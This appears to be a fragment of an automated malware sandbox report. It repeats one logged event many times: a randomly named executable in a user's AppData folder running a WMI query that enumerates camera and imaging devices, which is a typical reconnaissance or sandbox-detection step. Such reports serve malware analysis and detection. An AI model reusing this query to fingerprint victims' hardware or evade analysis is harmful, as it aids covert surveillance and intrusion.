                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
